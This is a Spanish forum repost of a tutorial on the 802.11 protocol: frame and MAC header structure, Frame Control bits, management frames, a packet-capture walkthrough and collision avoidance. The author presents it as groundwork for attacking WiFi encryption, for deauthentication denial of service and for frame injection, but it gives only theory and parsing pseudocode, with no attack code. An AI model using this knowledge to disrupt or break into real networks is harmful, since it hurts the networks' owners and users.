Taller de Vic_Thor: PROTOCOLO 802.11. TALLER WiFi

Páginas: (1/3) > >>

ChimoC:

Buenas:

Como el tema me ha parecido muy interesante e instructivo, aquí os dejo un copy/paste de un nuevo taller de Vic_Thor.

El link del post original lo podeis ver aquí.

El copy/paste es:

PROTOCOLO 802.11. TALLER WiFi.

Durante estas últimas semanas este foro ha estado ha estado "animado", también he recibido muchos mensajes privados  acerca del comportamiento las redes WiFi protegidas (WEP/WPA) y me he dado cuenta , que si bien mas o menos todos  conocemos "la práctica" de cómo atacar redes inalámbricas, la práctica totalidad de las preguntas que me  habéis hecho se resuelven con un BUEN CONOCIMIENTO teórico de cómo es el comportamiento de las mismas.

Es decir, muchos de nosotros "sabemos" usar herramientas del tipo aricrack-aireplay-airodump-etc---  pero pocos tienen claro por qué funcionan y por qué resulta (a veces sencillo, a veces no tanto) obtener una  clave wep o wpa.

Por eso, he tirado de mis apuntes (aquellos con los que sufren mis queridos alumnos) y les he dado una aspecto   algo informal, espero que el resultado sea bueno.

Voy a seguir la misma iniciativa de nuestro "querido" Taller TCP/IP esperando que este nuevo se convierta en  un Taller WiFi.

Este hilo permanecerá cerrado, los comentarios y dudas las resolveremos en otro (como en  el Taller TCP/IP)

Si prestáis atención a todo lo que voy a ir comentado y cuando tengáis una duda repasáis los contenidos que vamos a  esbozar seguro que además de "usar" esas herramientas, comprenderéis cómo funcionan y cómo podemos  modificarlas para realizar ataques "mas refinados" o por pura "curiosidad"

Deberíamos comenzar por la capa física, esto es, señales, antenas, bandas de radiofrecuencia, dispositivos,  tarjetas... Ufff, un sin fin de conceptos y conocimientos que (para lo que se trata en este momento) diremos que  "sobra".

Por tanto, nos hemos de creer dos cosas para saltarnos la capa física de un plumazo:
1.- Un Punto de Acceso es un aparato que permite conectar estaciones inalámbricas entre sí o  incluso estaciones inalámbricas con estaciones por cable.

También un Punto de acceso puede comunicarse con otros puntos de acceso extendiendo la zona inalámbrica o creando un  perímetro inalámbrico mas grande, es lo que se conoce con el nombre de WDS.

2.- Una estación inalámbrica es un dispositivo que puede comunicarse con un punto de acceso y por  consiguiente, con el resto de estaciones inalámbricas o con estaciones con cable.

También una estación inalámbrica puede comunicarse directamente con otra sin necesidad de punto de acceso, es lo que  conocemos como comunicación ad-hoc.[/list]En nuestro estudio nos va a interesar mas "cómo acceden al  medio" tanto las estaciones como los puntos de acceso, esto es, lo que se llama Capa 2 en los modelos  de comunicaciones.

Si entendemos bien la capa 2 en las comunicaciones inalámbricas, entenderemos, comprenderemos y seremos  capaces de escenificar los ataques contra las vulnerabilidades en redes inalámbricas, incluidos los ataques a  cifrados y otros como la denegación de servicios, hombre en medio, despliegue de puntos de acceso ilícitos o  reinyección de tráfico en la red.

El tráfico en la capa 2 se le llama tramas (frames en inglés) no es que sea muy importante saber el nombrecito...  pero  mejor llamar a cada cosa por su nombre.
 
Un Punto de Acceso tiene:

*   Un nombre al que llamamos SSID (o essid)
*   Una Dirección MAC que llamamos BSSID
*   Un modo de distribución: Infraestructura, Repetidor, Cliente y algún otro mas.
*   Seguridad y/o cifrado: WEP, WAP, WPA2, sin seguridad (OPEN)
*   Clientes: Las estaciones inalámbricas que se conectan a ellos
*   Enrutamiento: Capa2 y también los hay de Capa3 (no todos)
*   Una fuerza de la señal aplicada a cada paquete
*   Un alcance que depende de factores como la antena, el entorno, obstáculos, etc.Un  punto de acceso, envía y recibe:
*   Tramas de Administración: Beacons, Probes y Request
*   Tramas de Datos: Cifrados o en "texto plano"
*   Tramas de Control: RTS, ACK’s y CTSEsto anterior no refleja "todo" lo que un punto de acceso  tiene, envía y recibe...  pero nos acerca bastante a la realidad de los mismos.

Es importante señalar que la forma de comunicarse en redes inalámbricas (WiFi) está estandarizado, de  ahí tenemos el archiconocidos 802.11, junto con sus "variantes" a,b,c,d,e,g,h,i,n etc... cuando  encontremos documentos o información relativa a 802.11b u 802.11e, etc debemos de asumir que la comunicación está  "ordenada", "regulada", "estandarizada", "definida" mediante esos estándares.

No obstante, existen fabricantes que además de "soportar" el estándar , también implementan cambios y  modificaciones de "cosecha propia", es decir, pequeñas o grandes variaciones sobre el protocolo de  comunicaciones que dicho fabricante añade.

Ni que decir tiene, que esos "añadidos" al ser particulares de un determinado fabricante, podrán sólo usarse  entre equipamientos del mismo fabricante.

Esos añadidos (que a la postre deberían convertirse en mejoras) pueden ser un obstáculo cuando entran en escena otro  hardware de diferente fabricante, sin embargo, y a menos que el administrador de la red inalámbrica así lo decida,  siempre serán compatibles con los estandarizados.

Está muy claro, pero con un ejemplo quedará todo cristalino (si es que hay algo que aclarar):

Ya es conocido que existe un tipo de tramas "especial" que al enviarlas de forma "mal  intencionada" los clientes que están asociados a un punto de acceso se "desconectan" del mismo, es lo que  llamamos disociación.

¿Por qué es esto posible? Porque las tramas del tipo disociación que un punto de acceso envía a un  cliente o a todos no están protegidas ni cifradas de forma alguna. Esto ocurre siempre, tanto si usamos WEP-WPA como  si no.

CISCO, incorpora un "añadido" especial a este tipo de tramas...  el llamado CCX que  no es otra cosa que un control de integridad de las tramas de disociación (y no sólo de ellas) de forma que el  ataque de disociación no sería efectivo.[/list]Pero claro, como decíamos antes, sólo si usamos hardware de CISCO en  todo el perímetro de la red inalámbrica sería factible implementar dicha característica.

Aunque son documentos "muy técnicos" (y de eso precisamente quiero huir en esta explicación) quien lo desee  puede consultar libremente los modelos para 802.11, 802.11a, 802.11b, ... En::  http://standards.ieee.org/getieee802/

Después de esta breve introducción vamos a desmenuzar cómo es una trama de datos en 802.11.



Explicamos (de derecha a izquierda)

FCS es un campo de 4 bytes que se añade como control de Secuencia, no debemos  preocuparnos de ello por ahora.

Cuerpo. Es el contenido de la comunicación (los datos a transmitir), si no usamos seguridad  alguna lo podremos ver "en texto plano" como si tal cosa, si es un icmp, un intercambio TCP, etc...  Si está  cifrado mediante WEP o WPA pues "de momento" no tiene sentido lo que "vemos".

Cabecera MAC: Lo primero que nos llama la atención es que su tamaño "puede variar".

Variar? Por qué?

Porque dependiendo del tipo de mensaje y de otras funcionalidades (por ejemplo si se utiliza QoS o no) puede  ser de un tamaño u otro, lo que siempre existe en la cabecera MAC es esto:



Y cuando son 26 ó 30 ó 32??

Cuando concurra alguna de estas circunstancias:
* QoS (Calidad de Servicio) protocolo 802.11e está habilitado

* La comunicación se realiza entre puntos de acceso.[/list]
Si utilizamos QoS, se añaden 2 bytes para el control de las colas QoS después de la tercera dirección  MAC, o si lo prefieres, antes del número de secuencia

Si la comunicación es "entre" puntos de acceso, se añade una cuarta dirección MAC (la del otro punto  de acceso) inmediatamente después del número de secuencia, como ya sabemos una dirección MAC tiene 6 bytes.

Por eso podemos tener cabeceras MAC de varias "longitudes", por ejemplo:

24 bytes -> Comunicación entre cliente y punto de acceso, sin QoS
26 Bytes -> Comunicación entre cliente y punto de acceso, con QoS
30 bytes  -> Comunicación entre puntos de acceso, sin QoS
32 bytes -> Comunicación entre  puntos de acceso, con QoS

También hay que hacer una salvedad en cuanto a las 3 direcciones MAC que hablaba...  en el ejemplo puse  origen-destino-bssid, no es así realmente... Todo dependerá de si se trata de una trama de administración,  de datos o de la dirección del tráfico.

Es decir, la dirección MAC1 (los bytes 4-5-6-7-8-9-10) pueden representar el bssid, la dirección MAC origen  e  incluso la dirección MAC destino. Lo mismo ocurre con las otras dos direcciones MAC, MAC2 y MAC3.

Todavía es pronto para "comprender" bien este "baile" de direcciones MAC, de momento nos quedamos que  MAC1, MAC2 y MAC3 representan las direcciones origen, destino y bssid de la comunicación PERO NO PRECISAMENTE  Y SIEMPRE EN ESE ORDEN!!!!!

Llegados a  este punto, Cómo se sabe si se trata de una trama de control, de administración o de  datos???

Por los dos primeros bytes de la cabecera MAC, esto es, el FC o Frame Control

Al ser un campo de dos bytes contiene 16 bits de información correspondiente al tipo de trama, al subtipo, a si la  comunicación ve "hacia" el punto de acceso, si va "hacia" el cliente, si está fragmentada, si hay mas datos, si se  trata de una trama retransmitida, y otros...  como si los datos van o no cifrados, si se utiliza "power management"  (administración de energía)... .

Tenemos que leer esos bits de derecha a izquierda, por ejemplo, supongamos que el campo frame control  contiene el valor 08 41 en hexadecimal...  en binario son:

Código:
--
0 = 0000
8 = 1000
4 = 0100
1 = 0001
--

Los interpretaremos de "derecha a izquierda" y por parejas, esto es,  leemos los bits de derecha a  izquierda:

08 = 0000 1000



41 = 0100 0001



Observa que los bits están "rotados" de forma que el "mas significativo" es el que está mas a la izquierda,  vamos que no hay que interpretarlo (según el ejemplo) así:



Ahora pasemos a explicar cada campo (al menos los mas significativos)

Versión del Protocolo: bit 0 y 1

Serán siempre cero. Otros valores significarán que no se corresponde con el estándar (por ejemplo una versión propia  de un fabricante)

Tipo de Trama (bits 2 y 3)

Identifican el tipo de trama, es decir, si es de administración, de control o de datos.

Subtipo (bits 4,5,6 y 7)

Es una descripción mas detallada del tipo.

ToDS (bit 8 )

Este bit está a uno cuando la trama viaja hacia el sistema de distribución, por ejemplo  si la trama la envía un punto de acceso a otro punto de acceso o si una estación envía la trama al punto de acceso.

FromDS (bit 9)

Este bit está a uno si la trama viaja desde el sistema de distribución, por ejemplo  cuando un punto de acceso envía tramas a las estaciones. También está a uno cuando la trama viaja de un punto de  acceso a otro.

WEP (bit 14)

Este bit se activa (a uno) si los datos están cifrados, en caso contrario los datos viajan en texto plano.

El resto de bits (por ahora) no tienen mucho significado en esta explicación, eso sí, conviene aclarar o ampliar los  valores de tipo, subtipo, ToDS y FromDS, unas tablas ayudarán a ello.





Seguro que sino estás pensando que esto es un rollo, al menos pensarás que de momento es fácil...vamos a plantear  tres  preguntas (con trampa, claro, de lo contrario no tiene gracia)

1.- Según lo expuesto... Si nos encontramos con una trama y los bits 8 y 9 de FC están a cero...¿podemos  asegurar que se trata de una comunicación ad-hoc?

R: Si consultamos la tabla que os puse antes, es tajante la respuesta es SI. Pero no es oro todo lo que  reluce...La respuesta correcta es NO.

Si bit 8 y bit 9 son cero, efectivamente puede ser una comunicación ad-hoc siempre y cuando la trama sea de DATOS!!!

Si, por ejemplo, la trama es de administración (por ejemplo un beacon o señalización) bit 8 y bit 9 son cero y por  supuesto...no es una comunicación entre estaciones.

2.- Otra...Es posible encontrarnos con una trama en la que la cabecera MAC tiene menos de 24 bytes???

R: Al igual que antes, si repasamos lo dicho, la respuesta es NO, puesto que len la cabecera MAC exite un FC  de 2 bytes, una duración de 2 bytes. al menos 3 direcciones MAC de 6 bytes cada una (18 en total) y un número de  secuencia/fragmento de otros 2 bytes, o sea, un mínimo de 24 bytes...pero la respuesta correcta debería haber sido  SI!!!!

SI, por ejemplo una trama de control con subtipo Clear-to-Send (permitido para transmitir) tiene únicamente una  longitud de 10 bytes: 2 para FC, 2 para la duración y 6 para la MAC del punto de acceso quien la envía.

3.- Al analizar una trama descubrimos que el bit 14 (Wep) está activado...¿Es realmente una trama cifrada con  WEP?

R: NO. Ciertamente los datos (el cuerpo de la trama) estarán cifrados, pero no tiene que ser obligatoriamente  con WEP. Bien puede ser WPA o WPA2, este bit indica que los datos están protegidos, pero no te dejes engañar por el  nombre del campo, el bit wep a uno indica cifrado, pero no necesariamente un cifrado WEP.

Estas tres preguntas aunque no te lo parezca por ahora, son importantes...Primero porque si nos decidimos a lanzar  "un ataque" contra una red WiFi, dependiendo de lo que queramos conseguir habrá que realizarlo sobre tramas  de datos, administración o control y en el caso de atacar un cifrado, pues contra el mismo...
 
Ahora que ya somos capaces de "identificar" los diferentes tipos de tramas, vamos a representar "la  coreografía" de cómo funciona todo el mecanismo:

Primero conocer los "estados" en los que nos podemos encontrar:

Un cliente puede estar:
* No asociado ni autenticasdo: Es decir, ni tan siquiera intentó "conectarse" a la red inalámbrica
* Autenticado: El cliente desea participar de la red pero todavía no finalizó  la asociación por completo.
* Asociado: El cliente se asoció y al proporcionar una clave correcta "disfruta" de los recursos de la red.

Como ves en la figura, un cliente asociado puede dejar de estarlo y permanecer autenticado.

Normalmente son los puntos de acceso quienes envían tramas de disociación y des-autenticación.

Son los clientes (las estaciones) los que envían tramas de autenticación, asociación y/o reasociación, también de  disociación cuando abandona la red.

La reasociación es un caso especial, es aquel en el que una estación estaba asociada y recibió una trama de  disociación...entonces queda en estado autenticado y reinicia la asociación mediante una solicitud de reasociación.

Resumiendo:

Un cliente asociado (completó todo el proceso de incorporación a la red) puede ser desasociado o des-autenticado por  el punto de acceso

Un cliente autenticado puede ser des-autenticado por el punto de acceso.

Un cliente que fue desautenticado podrá solicitar una reasociación

Un cliente no asociado ni autenticado, primero solicitará autenticación y luego asociación.

Un cliente autenticado solicitará asociación o reasociación dependiendo del estado anterior al momento de la  autenticación.

Por supuesto que un cliente también puede abandonar la red sin necesidad que sea el punto de acceso quien lo haga, a  los efectos, sería igual que lo descrito anteriormente.




===============================================



ESTRUCTURA DE UN FRAME CONTROL

Un punto de acceso envía o recibe:

Beacons o señalizaciones Normalmente lo hace a intervalos regulares y sirve para que los  clientes "lo vean" y puedan conectarse al mismo.

Se puede "restringir" el envío de beacons, si este es el caso, el cliente debe conocer el essid  (nombre) para poder realizar los pasos de asociación y autenticación.. Es el mecanismo por el que las estaciones  pueden enumerar todos los puntos de acceso disponibles.

El formato típico de una trama beacon es esta:



* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre  puntos de acceso.

El FC de un beacon es:



El cuerpo de un beacon contiene información del tipo: Marcas de tiempo, intervalo de señalización, SSID, Tasa de  transmisión soportada (1Mb, 11Mb, 22Mb, etc), Frecuencia, y otros como DS, CF, IBSS, TIM, País, patrones y  parámetros FH.

En una ampliación posterior hablaremos de ello (para los curiosos)

Probes: Es un intercambio de mensajes que típicamente ocurre entre el punto de acceso  y las estaciones, los mas habituales son: Request y Response (Solicitud de Sondeo y Respuesta de Sondeo)

El formato típico de una trama Probe es esta:



* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre  puntos de acceso.

El FC de un Probe Request es:



El cuerpo de un mensaje de tipo Probe Request contiene el SSID, Tasas de datos soportados y otros identificadores  que puedan resultar interesantes.



El cuerpo de un mensaje de tipo Probe Response contiene básicamente los mismos elementos que el de un beacon  mas los identificadores solicitados mediante el probe request que se solicitó.

Autenticación:

La autenticación implica una serie de intercambios entre las estaciones y el punto de acceso. No siempre se  realiza de la misma manera, esto es porque pueden existir otros sistemas de autenticación (tipo RADIUS) que también  pueden estar presentes.

Por lo general, una trama de Autenticación es esta:



* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre  puntos de acceso.

El cuerpo del mensaje de una trama de autenticación depende de cada contexto, de los algoritmos de cifrado si los  hay, de los protocolos, etc... Entre ellos también existe un número de secuencia para la autenticación en curso y  códigos de estado y respuesta.

Un ejemplo típico es:
Cuerpo del mensaje de autenticación:

2 bytes para el algoritmo y/o tipo: por ejemplo 00 00 para Sistemas Open
2 bytes para el número de secuencia, p.e. 01 00 (nº secuencia 1)
2 bytes para definir el estado o razón de la autenticación, p.e. 00 00 (satisfactorio)El FC de una solicitud de autenticación es:



Una vez se hayan intercambiado toda la serie de mensajes entre el punto de acceso y las estaciones, el punto de  acceso enviará otra trama de autenticación al cliente con idéntica estructura en su FC pero en el cuerpo de la trama  incluirá:

Número de secuencia de autenticación recibida + 1 (si se envió 0100 se recibirá 0200)

Estado o razón de la autenticación: por ejemplo 00 00 si resultó satisfactoria.

Desautenticación

Este tipo de trama es de "una sola vía" y normalmente lo envía un punto de acceso a una estación o a todas  (broadcast) con el objeto de des-autenticar a los clientes autenticados. y/o asociados. En cualquiera de los casos,  las estaciones clientes deberán repetir todo el proceso para "volver" a la red.

Por lo general, una trama de Des-Autenticación es esta:



MAC1 es la dirección MAC del equipo que esta siendo desautenticado
MAC2

El cuerpo de la trama contiene entre otros datos, información de las razones de la desautenticación

El FC de una des-autenticación es:



Asociación

Consiste en un intercambio de tramas de administración con subtipo Request y Response una vez que la  autenticación resultó correcta.



En el cuerpo de la trama se incluye información diversa acerca de las capacidades del dispositivo, tasas de  transmisión  (Rate) soportados, QoS, el ESSID, y opcionalmente razones y estados de la solicitud de la asociación.

El FC de una Solicitud de Asociación es:



Así mismo, la respuesta de la asociación es esta:



En la Cabecera MAC de las tramas de Asociación, las MAC’s de cada dispositivo "bailan" dependiendo de si es una  Solicitud o Respuesta, en cualquier caso siguen la forma definida: Destino – Origen – BSSID

Relativo a la Asociación, existen otros dos formatos de trama relacionados, estas son Reasociación y Disociación.

Un Punto de Acceso puede enviar tramas de disociación a una determinada estación o a todas (broadcast). El resultado  final serán clientes desconectados.

Un cliente o estación, puede enviar tramas de reasociación tras recibir una disociación y generalmente son también  de un  sólo sentido. También un cliente puede enviar tramas de reasociación si ya está conectado a un punto de  acceso y desea asociarse con otro.
 
Reasociación

El Formato trama para una reasociación es:



Observa que en este caso tenemos 4 MAC’s, de forma que:

MAC1 es la dirección del cliente
MAC2 es la del Punto de acesso con el que se desea reasociar
MAC3 es la dirección del punto de Acceso con el se está actualmente asociado
MAC4 Es la dirección del BSSID

El FC para una Solicitud de reasociación es:



El FC para una Respuesta de reasociación es:



Disociación

El Formato trama para una disociación es::



En este caso sólo se utilizan dos direcciones MAC, una para la dirección de la estación que se desea disociar (o  broadcast para todas) y la otra para la dirección MAC del Punto de Acceso.

En el cuerpo de la trama se incluyen razones y/o estados relevantes a la disociación

El FC de una disociación es:



Resumen: según lo visto hasta ahora, las tramas de Administración y sus correspondientes FC serían:




===========================================



ANÁLISIS DE CAPTURA DE TRÁFICO 802.11

Conviene practicar con algún esnifer para afianzar lo explicado, un buen candidato es WireShark (usa el que  prefieras) a continuación te pongo una serie de pantallas que ilustran todo lo explicado.

Se han eliminado bastantes paquetes de las capturas y aunque no están todas las tramas que hemos estudiado, la  mayoría sí.

El punto de Acceso es un Cisco Linksys y la estación la tarjeta identificada como D-Link:

En la primera pantalla "observamos" la secuencia de lo sucedido:*   El Punto de Acceso envía sus beacons (paq. 1)
*   El cliente envía Probe Request (paq. 2)
*   El punto de Acceso responde con sus Probe Response (paq. 3)
*   El cliente inicia la autenticación (paq. 4)
*   Envía un ACK (trama de control) paq. 5
*   El punto de acceso responde a la autenticación (Paq. 6)
*   Y También envía una trama de control de asentimiento ACK (paq. 7)
*   El cliente inicia la asociación Solicitud junto con el ACK (paq. 8 y  9)
*   El Punto de acceso envía una respuesta de autenticación y el ACK (paq. 10 y 11)
*   Se inicia el intercambio de datos (paq. 12 y 13)
*   El cliente se desautentica (paq. 14)Obviamente hay muchos otros intercambios, ack’s, tramas de control del tipo RTS y CTS, pero básicamente ese es el  proceso, lo vemos:


Escenario General



Paquete 1. Beacon



Paquete 2. Probe Request



Paquete 3. Probe Response



Paquete 4. Autenticación



Paquete 5. Trama de Control. ACK



Paquete 6. Autenticación



Paquete 7. Trama de Control ACK



Paquete 8. Asociación Request



Paquete 9. Trama de Control. ACK



Paquete 10. Asociación Response.



Paquete 11. Trama de Control. ACK



Paquete 12. Trama de Datos



Paquete 13. Trama de Datos



Paquete 14. Desautenticación



Para los que queráis observar con mas detalle estos mismos paquetes capturados os dejo un enlace para que os podáis  [size=18]descargar [/size]el archivo .cap del mismo: http://www.megaupload.com/?d=Y32ZK1G3

Ale!! a estudiar ;)



========================================

LA DANZA DE MAC’S Y TIPOS DE TRAMA

No puedo terminar esta parte sin comentar algo que es muy importante a la hora de analizar el tráfico de tramas de  datos.

Como dije al comienzo de este documento, cuando existen datos a transmitir, o mejor dicho, cuando el tipo de trama  en la FC es de datos (10) las direcciones MAC "bailan" dependiendo de si están activos o no los bits toDS y FromDS,  te pongo una imagen que vale mas que mil palabras:
 
Y un ejemplo general...

Un cliente envía un ping al punto de de acceso, por tanto toDS está a uno (1) y FromDs estará a cero  (0)
En la cabecera MAC de la trama las direcciones MAC1, Mac2 y Mac3 serían:

MAC1 = BSSID (la MAC del punto de acceso)
MAC2 = Origen (la MAC del cliente)
MAC3 = Destino (la MAC del punto de accesoAhora el punto de acceso responde...FromDS = 1 y ToDS=0
MAC1= Destino (la MAC del cliente)
MAC2= BSSID (la MAC del punto de acceso)
MAC3= Origen (la MAC del punto de acceso)Observa que en este caso no es el consabido destino-origen-bssid,  realmente esto sólo se cumple cuando ToDS y FromDS están a cero (comunicación ad-hoc o por ejemplo, tramas de  administración)

También puedes pensar que para qué 3 MAC’s?? si la comunicación es entre dos...claro, cuando la  comunicación es entre punto de acceso y cliente (exclusivamente) pues es como "raro", pero imagina que la  comunicación es entre dos clientes inalámbricos...por ejemplo STA-01 hace un ping a STA-99

STA-01 enviará una trama de datos hacia el punto de acceso pero con destino a STA-99, bits toDS a 1 y FromDS a 0
MAC1 = BSSID (mac del punto de acceso)
MAC2 = Origen (mac de STA-01)
MAC3 = Destino (mac de STA-99)El punto de acceso enviará los datos a STA-99 con bit toDS a 0 y FromDS a 1
MAC1 = Destino (Mac de STA-99)
MAC2 = BSSID (Mac del punto de acceso)
MAC3 = Origen (Mac de STA-01)STA-99 recibe el paquete y responde al ping...lo enviará hacia el sistema de distribución con destino a STA-01 (bit  FromDS =0 y toDS=1)
MAC1= BSSID (mac del punto de acceso)
MAC2 = Origen (MAC de STA-99)
MAC3 = Destino (MAC de STA-01)Por último, el punto de acceso envía el paquete a STA-01 con bits FormDS=1 y toDS=0
MAC1 = Destino (Mac de STA-01)
MAC2 = BSSID (Mac del punto de acceso)
MAC3 = Origen (Mac de STA-99)No olvides esto!!! Será importante a la hora de "colocar" bien las MAC’s cuando  usemos herramientas del tipo aircrack-ng o las nuestras propias.

Para saber si una trama viaja desde o hacia el sistema de distribución (y así colocar las mac’s en su orden  correcto) sólo tendremos que comprobar el byte 1 de Frame Control, imagina que capturas una trama de datos que es  algo así:

Código:
--
08 42 2c 00 00 00 1d ... ... .
--

Lo que tendremos que hacer es "analizar" el segundo byte de la FrameControl,  por ejemplo, para saber si FromDS está  activado:
 
Supongamos que tenemos un array llamado paquete[] que tiene todos y cada uno de los valores de la trama, de tal  modo:

Código:
--
paquete[0]=0x08
paquete[1]=0x42
paquete[2]=0x2c
y así hasta el final...
--

El que nos interesa es paquete[1], si hacemos un AND con 0x01 ó con 0x02 obtendremos 1 ó  2 dependiendo del estado de toDS y de FromDS:

Código:
--
If paquete[1] AND 0x02 = 0x02 entonces es un paquete FromDS activado
If paquete[1] AND 0x01 = 0x01 entonces es un paquete toDS activado
--

También podríamos comprobarlo así:

Código:
--
Estado= paquete[1] AND 0x03

Switch (Estado) {

Case 0: es un paquete con FromDS y TodS a cero, probablemente de una
Una estación a otra estación (modo as-hoc)

Case 1: Es un paquete con FromDS a cero y ToDS a uno, probablemente de
Un cliente al punto de acceso

Case 2: Es un paquete con FromDS a uno y toDS a cero, probablemente de
 Un punto de acceso a un cliente

Case 3: Es un paquete con FromDs a uno y ToDS a uno, probablemente de
 Un punto de acceso a otro punto de acceso (modo wds)
}
--

Así mismo, si deseáramos averiguar si se trata de una trama de datos, podríamos hacer algo asi:

Código:
--
If paquete[0] AND 0x0c = 0x08 se trata de un paquete de datos
If paquete[0] AND 0x0c = 0x00 se trata de una trama de administración
If paquete[0] AND 0x0c = 0x04 se trata de un trama de control
--

Observa que ahora se analizó el byte cero del paquete correspondiente.

Para saber si un paquete es QoS o no, también comprobaremos el byte cero.

Código:
--
If paquete[0] AND 0x80 = 0x80 se trata de un paquete QoS
--

Esto viene a cuento porque en el momento que estemos preparados, vamos a crear pequeños "programas" para poder  analizar el tráfico y/o enviar tramas "a nuestro gusto".


=================================

Seguimos con el Taller... .

Ya sí...os prometía "descanso", continuar con WEP, etc... pero... Como quiero que empecemos a "tocar bola"  cuanto antes vamos a seguir y no precisamente con lo "prometido" (bueno casi sí)

En este post vamos a "sentar" los principios de "los desafíos" que han de sortear las estaciones WiFi  para acceder al medio.

Gracias a esta información vamos a entender algunos de los "ataques" de Denegación de Servicio (DoS).

Lo que voy a contar es algo que pocas veces se toma en cuenta y que desgraciadamente, ni siquiera se comenta en  otros sitios (incluidos muy prestigiosos libros y documentos) o si se hace, lo explican de forma muy somera y con  poca claridad.

En las comunicaciones por cable (léase Ethernet que a todos nos suena mas) es razonable pensar que  cuando una trama se transmite el receptor la recibe correctamente.

Vale, sabemos que no siempre es así, que pueden existir "colisiones" sobretodo cuando usamos Hub’s en  lugar de switches, aún con switches podemos tener colisiones en la red, especialmente lo que se denomina colisiones  tardías, difíciles de diagnosticar.

Una colisión no es otra cosa que el envío simultáneo de información por dos o mas estaciones en la red.  Cuando eso ocurre, y volviendo al ejemplo de la red de cable Ethernet, los paquetes se destruyen y se hace  "un silencio" para que se vuelva a retransmitir. De esto se ocupa un protocolo llamado CSMA/CD que si  recordáis el Taller TCP/IP, era lo que llamaba el "policía de la red", que pone orden en el tráfico,  etc...

Las comunicaciones por Radio Frecuencia no están libres de colisiones, ni mucho menos, sobretodo estas que  llamamos WiFi.

Además, el protocolo 802.11 trabaja de una forma "especial", 802.11 incorpora un mecanismo de  "asentimiento positivo" de forma que TODAS las tramas enviadas deben "confirmadas" con un  ACK positivo por el receptor, de otra forma la trama se considera perdida.

Bueno, veremos mas adelante (muuuchooo mas) pero ya os lo adelanto, que hay un caso especial: QoS.

Ciertamente me sorprendió que en el hilo del tkiptun:

http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5556&start=8&postdays=0&postorder=asc&highlight=

Cuando dije:

Citar
--
Otra cosa!!! que me olvidé al hablar de "las ventajas" de usar QoS en este tipo de ataques...

Si está habilitado QoS, se pueden inyectar unos 15 tramas por cada paquete "descifrado"  
--

Nadie preguntó por qué con QoS se pueden enviar hasta 15 paquetes y sin QoS solamente  uno!!!! Claro, que a lo mejor ya lo sabíais y por eso no se preguntó nada... Bueno, para los que no lo supieran:

La razón de ello viene por esto que comentamos de los ACK positivos...determinadas comunicaciones QoS  usan una "ráfaga" y precisamente por ello, podemos enviar 15 tramas sin necesidad de recibir un  ACK por cada una de ellas, bastará un ACK positivo para las 15...bueno, que me estoy saliendo del tema...

El caso es que cada trama de datos enviada debe ser respondida con su correspondiente ACK



Y las preguntas con "trampa" de rigor...

1.- Y Si se "pierde" la primera trama transmitida??
2.- Y si lo que se pierde es el ACK???

Con "perder" me refiero a interferencias, problemas de comunicación, etc... vamos que no llegan al destino...

Pues en estos dos casos, la trama debe ser retransmitida (acabamos de descubrir el significado de uno de los  bits de la FC que no comentamos nada en absoluto, el bit 11 (Reintentar o retransmitir) se activa cuando una  trama lo está siendo.



Pero volvamos a lo que nos ocupa... las colisiones.

Ethernet cuenta con CSMA/CD para el tratamiento de colisiones, 802.11 cuenta con CSMA/CA.

Sin  embargo no es suficiente por sí sólo...y te pongo un ejemplo (una imagen)



Equipo 1 y equipo 2 están "al alcance"
Equipo 2 y Equipo 3, también lo están

Sin embargo, equipo 3 no se puede comunicar directamente con Equipo 1 porque "no están al alcance"

Además, es perfectamente posible que equipo 1 y equipo 3 transmitan datos al mismo tiempo, y eso...en la zona  amarilla es una colisión.

Esto es el equivalente de las colisiones tardías en Ethernet, aquí los llamamos "Nodos ocultos", es decir,  estaciones que pertenecen al medio pero que están tan alejadas unas de otras que la comunicación directa entre  ellas no es posible.

Por si fuese poco, la mayoría de las tarjetas inalámbricas operan en "half-duplex", esto es, no pueden  enviar y recibir al mismo tiempo (realmente son los transceptores de las tarjetas)

Si juntamos todo esto...el equipo 1 y el equipo 3 pueden "no percatarse" de que existe colisión!!!

¿Cómo solucionar esto?

Pues con algo de lo que seguro que has oído hablar (o seguro que leer o ver en las configuraciones de tarjetas y  puntos de acceso): Enviar tramas ce control RTS y CTS.
 
RTS es Request to Send, también hay quien lo llama ready to send o si lo prefieres preparado para  trnasmitir
CTS es Clear to Send o Listo para transmitir o permiso para transmirir

Ambos aseguran que el canal "está limpio y preparado para transmitir" de tal forma que otras estaciones "se callan"  hasta que el medio esté libre para poder enviar sus tramas.

Luego la imagen correcta de acceso sería:


 
Y si existiese un "nodo oculto" como en el ejemplo anterior, quedaría así:



Como ves en la figura anterior, el nodo oculto recibe un CTS de aquél equipo que sí es accesible y "se calla".

Ni que decir tiene que todo esto tiene una temporización (Timing) y un "umbral"  (threshold).

El timing se puede "controlar" mediante ajustes DCF, PCF o HCF que no son otra cosa que cómo va  a funcionar el protocolo CSMA/CA.

El umbral también se puede ajustar en cada tarjeta, así por ejemplo las tramas "cortas" pueden ser enviadas  inmediatamente mientras que las "largas" utilizarán RTS y CTS antes de ser enviadas.

¿Cortas y largas? ¿cómo de cortas o cómo de largas?

Pues como ya he dicho, el umbral. Aquellas que sean mas cortas que el umbral se transmitirán inmediatamente y las  que sean mas largas que el umbral, usarán los métodos RTS y CTS.

DCF es el modo "por defecto" del estándar 802.11 y funciona igual que ethernet: Escuchar antes de  hablar...y si hay silencio...se envía. Si hay colisión, se entrega un tiempo aleatorio de espera a cada estación y  vuelta a empezar.

PCF utiliza lo que se llama "Puntos de Coordinación" que son los propios puntos de acceso y difiere en  el método anterior en que permite emitir a las estaciones tras un corto periodo de tiempo exista o no colisiones.

HCF Permite a las estaciones "balancear" el tráfico en función de la mejor calidad de los servicios,  encola los paquetes dependiendo del tipo de aplicación...es.. QoS.

Tanto RTS/CTS. Como el Timming, como el umbral existen para garantizar una transmisión sin interrupciones y con el  mínimo de sobrecarga.

Y  si piensas que aquí está todo dicho...pues falta otra cosa: NAV.

NAV es un Vector de Localización de Red, lo utiliza CSMA/CA y la pareja CTS/RTS...pero  también se inicializa con el campo Duración de la Cabecera MAC:

Recordemos como era una cabecera MAC de una trama de datos:



Como ves, existen 2 bytes después del Frame Control que representan la duración.

La duración de que???

Pues el tiempo estimado que debe estar el canal disponible para trasmitir la trama.

Es un valor de 16 bits (2 bytes) de tal forma que si el bit 15 (el más significativo) está a cero el valor del resto  de bits será el valor con el que se inicializa NAV.

